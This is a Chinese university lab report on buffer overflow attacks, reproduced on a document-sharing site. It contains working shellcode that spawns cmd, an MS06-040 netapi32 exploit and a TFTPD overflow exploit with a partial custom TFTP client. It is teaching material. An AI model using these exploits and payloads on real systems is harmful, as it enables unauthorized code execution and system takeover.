实验四缓冲区溢出攻击技术.docx

上传人:b****1 文档编号:13740961 上传时间:2023-06-16 格式:DOCX 页数:19 大小:273.54KB
下载 相关 举报
实验四缓冲区溢出攻击技术.docx_第1页
第1页 / 共19页
实验四缓冲区溢出攻击技术.docx_第2页
第2页 / 共19页
实验四缓冲区溢出攻击技术.docx_第3页
第3页 / 共19页
实验四缓冲区溢出攻击技术.docx_第4页
第4页 / 共19页
实验四缓冲区溢出攻击技术.docx_第5页
第5页 / 共19页
实验四缓冲区溢出攻击技术.docx_第6页
第6页 / 共19页
实验四缓冲区溢出攻击技术.docx_第7页
第7页 / 共19页
实验四缓冲区溢出攻击技术.docx_第8页
第8页 / 共19页
实验四缓冲区溢出攻击技术.docx_第9页
第9页 / 共19页
实验四缓冲区溢出攻击技术.docx_第10页
第10页 / 共19页
实验四缓冲区溢出攻击技术.docx_第11页
第11页 / 共19页
实验四缓冲区溢出攻击技术.docx_第12页
第12页 / 共19页
实验四缓冲区溢出攻击技术.docx_第13页
第13页 / 共19页
实验四缓冲区溢出攻击技术.docx_第14页
第14页 / 共19页
实验四缓冲区溢出攻击技术.docx_第15页
第15页 / 共19页
实验四缓冲区溢出攻击技术.docx_第16页
第16页 / 共19页
实验四缓冲区溢出攻击技术.docx_第17页
第17页 / 共19页
实验四缓冲区溢出攻击技术.docx_第18页
第18页 / 共19页
实验四缓冲区溢出攻击技术.docx_第19页
第19页 / 共19页
亲,该文档总共19页,全部预览完了,如果喜欢就下载吧!
下载资源
资源描述

实验四缓冲区溢出攻击技术.docx

《实验四缓冲区溢出攻击技术.docx》由会员分享,可在线阅读,更多相关《实验四缓冲区溢出攻击技术.docx(19页珍藏版)》请在冰点文库上搜索。

实验四缓冲区溢出攻击技术.docx

实验四缓冲区溢出攻击技术

实验单元四.缓冲区溢出攻击技术

一、实验目的和要求

1.掌握缓冲区溢出的原理;

2.掌握缓冲区溢出漏洞的利用技巧;

3.理解缓冲区溢出漏洞的防范措施。

二、实验内容和原理

缓冲区溢出的原理:

通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。

造成缓冲区溢出的根本原因是程序中缺少错误检测。

当然,随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”(Segmentationfault),而不能达到攻击的目的。

最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。

如果该程序属于root,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作。

缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普遍了,并且易于实现。

而且,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:

植入并且执行攻击代码。

被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。

缓冲区溢出漏洞和攻击有很多种形式,而相应的防范手段也随者攻击方法的不同而不同。

三、实验项目

缓冲区溢出产生cmd窗口;

改写函数返回地址;

shellcode的编写;

shellcode的植入。

四、实验所需软硬件

1)仪器设备条件:

PC及其网络环境;

2)物质条件:

WindowsXPSP3、Linux、Gcc、VisualC++6.0编译器等,OllyDbg;

3)相关文献资料:

课件及网上收集的资料。

五、操作方法与实验步骤

1.缓冲区溢出漏洞产生的的基本原理和攻击方法

⏹缓冲区溢出模拟程序

程序源代码如下:

#include"string.h"

#include"stdio.h"

#include

//charname[]="AAAAAAAAAAAAAAAA";

charname[]="AAAAAAAAAAAAABCD";

intmain()

{

charoutput[8];

strcpy(output,name);//内存拷贝,如果name长度超过8,则出现缓冲区溢出

for(inti=0;i<8&&output[i];i++)

{

printf("\\0x%x",output[i]);

}

printf("\n");

return0;

}

运行该程序产生访问异常:

由于拷贝字符串时产生缓冲区溢出,用“ABCD”字符串的值覆盖了原来EIP的值,所以main函数返回时EIP指向44434241,引发访问异常。

⏹运行命令窗口的shellcode

shellcode测试代码如下:

#include"string.h"

#include"stdio.h"

#include

charname[]=

"\x41\x41\x41\x41"

"\x41\x41\x41\x41"

"\x41\x41\x41\x41"///覆盖ebp

"\x12\x45\xfa\x7f"////覆盖eip,jmpesp地址7ffa4512

"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d"

"\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63"

"\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e"

"\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c"

"\x8d\x45\xf4\x50\xb8"

"\x77\x1d\x80\x7c"//LoadLibraryW的地址

"\xff\xd0"

"\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73"

"\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72"

"\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63"

"\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57"

"\xba"

"\xc7\x93\xbf\x77"//System的地址

"\xff\xd2";

 

intmain()

{

charoutput[8];

strcpy(output,name);

for(inti=0;i<8&&output[i];i++)

{

printf("\\0x%x",output[i]);

}

printf("\n");

return0;

}

shellcode测试代码运行效果如下:

由于把main函数的返回EIP地址替换成了jmpesp的地址,main函数返回的时候就会执行我们的shellcode代码。

该shellcode,运行命令窗口。

2.MS06-040缓冲区溢出漏洞分析和利用

⏹溢出点定位

溢出点定位源代码

#include

typedefvoid(*MYPROC)(LPTSTR);

intmain()

{

chararg_1[0x320];

chararg_2[0x440];

intarg_3=0x440;

chararg_4[0x100];

longarg_5=44;

inti=0;

HINSTANCELibHandle;

MYPROCTrigger;

chardll[]="./netapi32.dll";

charVulFunc[]="NetpwPathCanonicalize";

LibHandle=LoadLibrary(dll);//加载当前目录的netapi32.dll

Trigger=(MYPROC)GetProcAddress(LibHandle,VulFunc);//获得NetpwPathCanonicalize的调用地址

//填充参数

memset(arg_1,0,sizeof(arg_1));//先清零内存

memset(arg_1,'a',sizeof(arg_1)-2);//必须使用null结束符,填充a

arg_1[792]='c';

arg_1[793]='c';

arg_1[794]='c';

arg_1[795]='c';

memset(arg_4,0,sizeof(arg_4));//先清零内存

memset(arg_4,'b',sizeof(arg_4)-2);//必须使用null结束符,填充b

(Trigger)(arg_1,arg_2,arg_3,arg_4,&arg_5,0);//调用NetpwPathCanonicalize

FreeLibrary(LibHandle);

return0;

}

程序运行效果如下:

可以看到错误访问地址为63636363,即为‘c’的编码,所以成功得定位了溢出点。

⏹漏洞利用

漏洞利用的源代码如下:

#include

typedefvoid(*MYPROC)(LPTSTR);

charshellcode[]=

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"

"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"

"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"

"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"

"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"

"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"

"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"

"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"

"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"

"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"

"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

intmain()

{

chararg_1[0x320];

chararg_2[0x440];

intarg_3=0x440;

chararg_4[0x100];

longarg_5=44;

HINSTANCELibHandle;

MYPROCTrigger;

chardll[]="./netapi32.dll";

charVulFunc[]="NetpwPathCanonicalize";

LibHandle=LoadLibrary(dll);

Trigger=(MYPROC)GetProcAddress(LibHandle,VulFunc);

memset(arg_1,0,sizeof(arg_1));

memset(arg_1,0x90,sizeof(arg_1)-2);

memset(arg_4,0,sizeof(arg_4));

memset(arg_4,'a',sizeof(arg_4)-2);

memcpy(arg_4,shellcode,168);

arg_1[0x318]=0xF9;//CALLECX的地址

arg_1[0x319]=0x52;

arg_1[0x31A]=0x18;

arg_1[0x31B]=0x75;

(Trigger)(arg_1,arg_2,arg_3,arg_4,&arg_5,0);

FreeLibrary(LibHandle);

}

漏洞利用的效果如下:

可以看到成功的利用该漏洞,弹出了一个对话框。

3.TFTPD溢出漏洞分析与利用

⏹溢出点定位

1.构造FUZZ

tftp127.0.0.1getAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

FUZZ中包含288个A,这个值是通过多次测试获得的,运行效果如下,可以看到发生了溢出:

2.确定溢出点

采用284个’A’+’1234’的fuzz,运行效果如下:

可以看到程序转到了34333231,溢出点定位成功。

3.程序中溢出点定位

使用OllyDbg打开程序,首先找到recvfrom函数,方法是右键点击Searchfor选项,找到Nameincurrentmodule,在其中找到recvfrom,

如下所示:

从这里找到recvfrom函数的位置,在此设置断点:

然后启动tftp,重新运行fuzz,程序会进入到断点,跟踪程序的运行过程,发现程序运行到一个strcpy函数时造成溢出,如下图所示:

运行004063A4函数之后,栈的状态如下,可以看到EIP被我们的数据覆盖:

运行到下面的代码处,程序跳转到34333231处,至此溢出点定位完毕。

⏹溢出漏洞利用分析

首先肯定是想到利用JMPESP,但是发现EIP后面是两个函数参数,如果覆盖该参数,将在函数返回之前触发异常,无法进入到我们的shellcode。

从上图也可以看出,EIP后面的第二个参数恰好指向我们构造的字符串,那么如果我们能够把00E81F62送入EIP,可以发现函数返回之前的ESP指向010BF3C8,如果能够把ESP减去4,然后运行RET指令,就可以把00E81F62送入EIP,ESP-8相当于一次POP操作,这样如果我们把EIP指向有:

POPX

RET

代码串的指令地址,即可使得shellcode被执行,在系统DLL中搜索该指令串,发现在7FFC01B0处有该指令代码:

这样就可以构造如下的shellcode:

"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d"//12

"\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63"//24

"\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e"//36

"\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c"//48

"\x8d\x45\xf4\x50\xb8"//53

"\x77\x1d\x80\x7c"//LoadLibraryW的地址//57

"\xff\xd0"//59

"\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73"//71

"\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72"//83

"\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63"//95

"\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57"//107

"\xba"//108

"\xc7\x93\xbf\x77"//System的地址//112

"\xff\xd2"//114

"\x90\x90\x90\x90"//118

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//128

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//138

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//148

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//158

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//168

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//178

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//188

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//198

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//208

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//218

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//228

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//238

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//248

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//258

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//268

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//278

"\x90\x90\x90\x90\x90\x90"//284

"\xB0\x01\xFC\x7F"//EIP地址//288

该shellcode为弹出一个命令窗口的shellcode,EIP指向7FFC01B0,按照上面的分析,程序将运行shellcode。

⏹漏洞利用

直接在fuzz中加入EIP跳转地址7FFC01B0,构造fuzz如下284个’A’+0xB0+0x01+0xFC+0x7F,发送到服务器端,发现实际地址不对:

发现这是因为tftp发送的时候只能发送有效的字符,而无效的字符无法发送过去,这样我们必须自己实现tftp客户端,程序代码如下:

#include

#include

#include

//弹出命令框的Shell长度

#defineCMD_SHELL_LENGTH300

//弹出命令框的shellcode

charcmdshell[CMD_SHELL_LENGTH+1]=

"\x00\x01"//2

"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d"//14

"\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63"//26

"\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e"//38

"\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c"//50

"\x8d\x45\xf4\x50\xb8"//55

"\x77\x1d\x80\x7c"//LoadLibraryW的地址//59

"\xff\xd0"//61

"\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73"//73

"\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72"//85

"\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63"//97

"\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57"//109

"\xba"//110

"\xc7\x93\xbf\x77"//System的地址//114

"\xff\xd2"//116

"\x90\x90\x90\x90"//120

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//130

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//140

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//150

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//160

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//170

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//180

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//190

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//200

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//210

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//220

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//230

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//240

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//250

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//260

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//270

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//280

"\x90\x90\x90\x90\x90\x90"//286

"\xB0\x01\xFC\x7F"//EIP地址//290

"\x0netascii\x0";//300

voidmain()

{

WORDwVersionRequested;//版本数据

WSADATAwsaData;//初始化数据

interr;//返回错误码

//初始化版本字段

wVersionRequested=MAKEWORD(2,2);

//初始化库

err=WSAStartup(wVersionRequested,&wsaData);

if(err!

=0)

{

return;

}

if(LOBYTE(wsaData

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 自然科学

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2